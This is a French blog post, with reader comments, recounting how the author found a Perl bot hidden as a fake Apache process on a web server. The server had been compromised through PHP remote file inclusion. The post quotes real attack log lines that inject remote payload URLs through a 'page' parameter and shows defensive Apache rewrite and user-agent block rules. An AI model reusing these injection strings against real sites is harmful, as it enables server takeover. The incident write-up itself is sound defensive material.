A la chasse aux script kiddies

Retrouver un script perl qui se déguise en process apache, ça occupe.

Je suis bien silencieux ces derniers temps. Pas beaucoup d'inspiration, pas beaucoup de temps, et puis depuis le week-end dernier, je suis en guerre. Le conflit a été déclaré vendredi soir, et ce n'est pas moi qui ai déclenché les hostilités.

Cela a commencé bêtement par un plantage d'un serveur web que je gère, à titre professionnel. Un plantage banal comme il s'en produit de temps à autre, faute de mémoire swap, cette fois.
Une fois le processus relancé par un de mes collègue sur le qui-vive, je me suis aperçu que j'avais reçu un mail étrange, m'indiquant que ce fameux serveur planté avait tenté de contaminer un serveur tiers, à l'autre bout du net, et me priant de bien vouloir nettoyer cette machine afin que cela ne se reproduise plus.
Le mail contenait en effet un extrait de fichier journal qui ne laissait pas de doute :

14/Jun/2008:08:53:30 +0200] "GET /index.php?page=951/index.php?page=http://www.dichotomy.com.au/tmp/id.txt? HTTP/1.1" 200 7765 "-" "libwww-perl/5.803"

Le tout précédé de l'adresse IP de notre machine.
En plein week-end, alors que personne n'est au bureau, la machine a donc décidé de se connecter toute seule à l'extérieur et qui plus est pour faire des saletés chez autrui ? Voilà qui est bien inquiétant. Je me suis donc inquiété. En commençant par chercher du côté de cette fameuse URL que mon serveur avait semble-t-il essayé d'injecter chez quelqu'un d'autre.

Par le passé, j'avais déjà eu à faire avec ce genre de pratique : les variables qui sont passées dans l'URL sont une source connue de tentative d'intrusion. Il suffit que le script PHP qui est derrière gère mal la chose pour qu'un petit malin parvienne à prendre le contrôle de tout ou partie de la machine cible.
Notamment, les scripts PHP qui utilisent la fonction include ou require avec un paramètre passé en barre d'adresse devraient tous avoir un test préalable qui assure que n'importe quoi n'est pas envoyé par un comique qui se prend pour le héros de Wargame.
L'exemple banal est le menu d'un site web qui permet de naviguer à l'intérieur. Lorsqu'on clique sur "accueil", le lien est sous la forme "index.php?page=accueil.php" et le code PHP contient tout simplement un include $page; qui affiche la bonne page à l'utilisateur.
Si d'aventure un pirate tripote l'url, par exemple de cette façon : index.php?page=http://www.google.fr, la page d'accueil de google s'affiche dans votre propre site, et c'est votre machine qui a fait la requête vers google. Autrement dit, vous pouvez faire exécuter à la machine un code tiers, non maitrisable et potentiellement dangereux.

Ici, l'url pointe vers le site dichotomy, qui est un honnête site d'hébergeur étranger, semble-t-il, mais qui a été lui aussi hacké, et qui propose dans un fichier id.txt un script perl qui n'est pas anodin.
Je résume : un malin a pris le contrôle d'une façon ou d'une autre de ma machine pour tenter d'injecter chez quelqu'un d'autre un script malveillant qui se trouve sur une troisième machine, préalablement hackée. Non mais faut pas se gêner !

Il y avait donc péril en la demeure, j'ai commencé par m'assurer que notre serveur était bien protégé contre le type d'attaque qu'il envoyait lui-même. Ne contrôlant pas l'intégralité des scripts PHP qui hantent ce serveur, je n'avais aucune certitude quant à la qualité et la sécurité du code qui s'y trouvait. En revanche, au niveau du serveur web lui-même, il y a des moyens d'agir, et c'est d'abord ce que j'ai tenté de mettre en place.

Un serveur Apache est extrêmement puissant et configurable. Parmi les trucs rigolos que l'on peut faire avec, il y a le module rewrite, qui permet litteralement de réécrire une URL que l'on juge pas conforme à ce qu'on attend.
Par exemple, on peut dire à Apache que chaque fois qu'est passé en paramètre une chaine qui contient "http" ou "ftp" ou un autre truc douteux qui est susceptible d'être dangereux, il botte en touche pour éviter l'infection.

Dans un .htaccess à la racine du site :
RewriteEngine on

RewriteCond %{QUERY_STRING} ^(.*)http [NC]
RewriteRule ^(.*) - [F]
(...)

On peut lui dire aussi que lorsque le client utilisé (user-agent) est dérivé d'un script perl, on refuse purement et simplement la requête.

Dans apache2.conf :
BrowserMatchNoCase "^.*libwww.*$" denyua

Puis dans .htaccess :
Deny from env=denyua

Restait à trouver d'où sortait le processus qui se relançait chaque nuit, scannant des ports, se connectant un peu partout et faisant n'importe quoi à notre insu.
Le processus était a priori totalement invisible. C'est-à-dire, on voyait bien qu'un processus perl bouffait toute la RAM et trustait les premières places du top, mais impossible de voir la commande qui en était à l'origine.

Et puis, j'ai vu un truc étrange : un processus apache qui ne ressemblait pas aux autres :

www-data 29901 0.1 1.9 11724 9800 ? S 00:19 2:42 /usr/local/apache/bin/httpd -DSSL
www-data 17840 0.0 4.1 34484 21300 ? S Jun18 0:24 /usr/sbin/apache2 -k start -DSSL
www-data 19616 0.1 4.2 34668 21548 ? S Jun18 0:27 /usr/sbin/apache2 -k start -DSSL
www-data 22071 0.0 4.1 33876 20944 ? S Jun18 0:13 /usr/sbin/apache2 -k start -DSSL

Tiens tiens ! /usr/local/apache/bin ? Ce répertoire n'existe même pas sur le serveur. Le processus perl infecté se cache sous ce faux nom pour échapper à notre vigilance ! Cela ne se passera pas comme ça.
Je repère un de ces faux apache et note l'heure de son lancement, dans l'exemple ci-dessus 2:42. Je prends alors les logs d'apache, le vrai, et scrute ce qui s'est passé à cette heure. Et bingo, je tombe sur une ligne sans équivoque :

77.104.226.10 - - 17/Jun/2008:02:42:38 +0200 "POST /shnpm/index.php?page=http://www.geocities.com/netu_oo/debu.txt?

Pile au moment où mon processus apache zombie s'est lancé, je recevais sur le vrai apache une requête bizarre comme décrite ci-dessus. Pourtant, je croyais avoir blindé la chose avec mon .htaccess général sur tout le site. Grave erreur, un .htaccess propre au répertoire contenant ce script annulait les effets du mien. Et donc on se retrouvait dans un cas classique d'injection d'URL, dans un script php mal foutu qui ne gérait pas ce genre de risque. Le fameux "debu.txt" hébergé par geocities est une autre version d'un script perl qui s'amuse avec les ports et les failles de sécurité. Ma machine était donc à la fois infecteur et infectée par un script perl de ce type.

Mine de rien, ça m'a pris quatre jours pour découvrir le pot aux roses. Il faut dire que les attaques ne se déclenchaient que la nuit, et qu'il a fallu mettre en place un certain nombre de scripts pour tracer tout ce qu'il faut et avoir les bonnes infos.
Dans le même temps, je me battais sur le front de la messagerie contre les mails d'Europharmacie qui me proposaient par centaine des pilules et des potions pour être en forme. Bref, quatre jours à se battre contre des malveillants, c'est cher payé. C'est vraiment une plaie que de devoir perdre du temps pour de telles bêtises causées par une bande de pirates prépubères qui jouent à la gueguerre par écran interposé.

Bon, l'article est un peu technique, mais c'est bien grâce à mes recherches sur le net que j'ai pu démasquer le coupable. Si mon article peut à son tour servir à d'autres, tant mieux...

Commentaires

1. Le jeudi, 19 juin 2008, 22:38 par Eric

Dis toi au moins que tu as pu t'en sortir, j'en connais quelques un qui auraient fait venir des experts en sécurité et qui auraient payé le gros prix !
À l'époque, je m'étais fait un petit forum phpbb pour échanger de l'information avec mon directeur de stage. Quelques années après j'ai découvert qu'il y avait 15 000 utilisateurs inscrit et qu'ils envoyaient des attaques en boucle sur le web. J'avais reçu des plaintes dans mon gmail et j'ai finalement compris pourquoi !

2. Le jeudi, 19 juin 2008, 23:48 par Stef

En tout cas merci : ça m'en a fait un paquet de commande pour mon Europharmacie ! :)

3. Le vendredi, 20 juin 2008, 09:20 par Bob

Ça t'aura fait bosser, pour une fois ;)

4. Le vendredi, 20 juin 2008, 13:50 par Merline

Mérôme, je conçois que tu en aies bavé mais j'avoue préférer de très loin tes articles sur les souvenirs d'école, tes poèmes ou ceux de n°1 ;-)

5. Le vendredi, 20 juin 2008, 23:00 par Pierre

Salut,

Heureusement qu'il y a ton blog pour savoir ce qui ce passe au boulot....:-)

6. Le vendredi, 20 juin 2008, 23:00 par soleil

Help ! je n'arrive plus à reçevoir les titres des chansons sur Deezer, qqu'un saurait d'où vient le problème (retrouver ttes mes chansons de jeunesse ;c'était trop top !)

7. Le samedi, 21 juin 2008, 11:01 par Merome
Pierre : Au boulot, je veux pas t'emmerder avec des trucs professionnels :)
soleil : hmm, es-tu sûr(e) que c'est le bon endroit pour poser la question ?
8. Le samedi, 21 juin 2008, 16:01 par bon endroit !

Mérome. Dis mois c'est où le "bon endroit"... j'ai découvert (avec plaisir) Deezer sur ton blog... C'est vrai, ça à l'air d'un cheveu sur la soupe au milieu de ton récit très technique, ... je voulais juste entendre un peu de musique, tant pis. Merci quand même.

9. Le dimanche, 22 juin 2008, 09:20 par Merome
Le bon endroit, c'est soit l'article où tu as découvert Deezer sur ce blog, soit, encore mieux, les forums de Deezer eux-mêmes.
10. Le dimanche, 22 juin 2008, 19:04 par Calcifer

Au sujet de l'article : "ouais c'est pas faux" :)

11. Le lundi, 23 juin 2008, 08:09 par Merome
Calcifer : sans déconner, c'est "chasse" que tu comprends pas ?

Ajouter un commentaire

Les commentaires peuvent être formatés en utilisant une syntaxe wiki simplifiée.

La discussion continue ailleurs

URL de rétrolien : https://merome.net/blog/index.php?trackback/452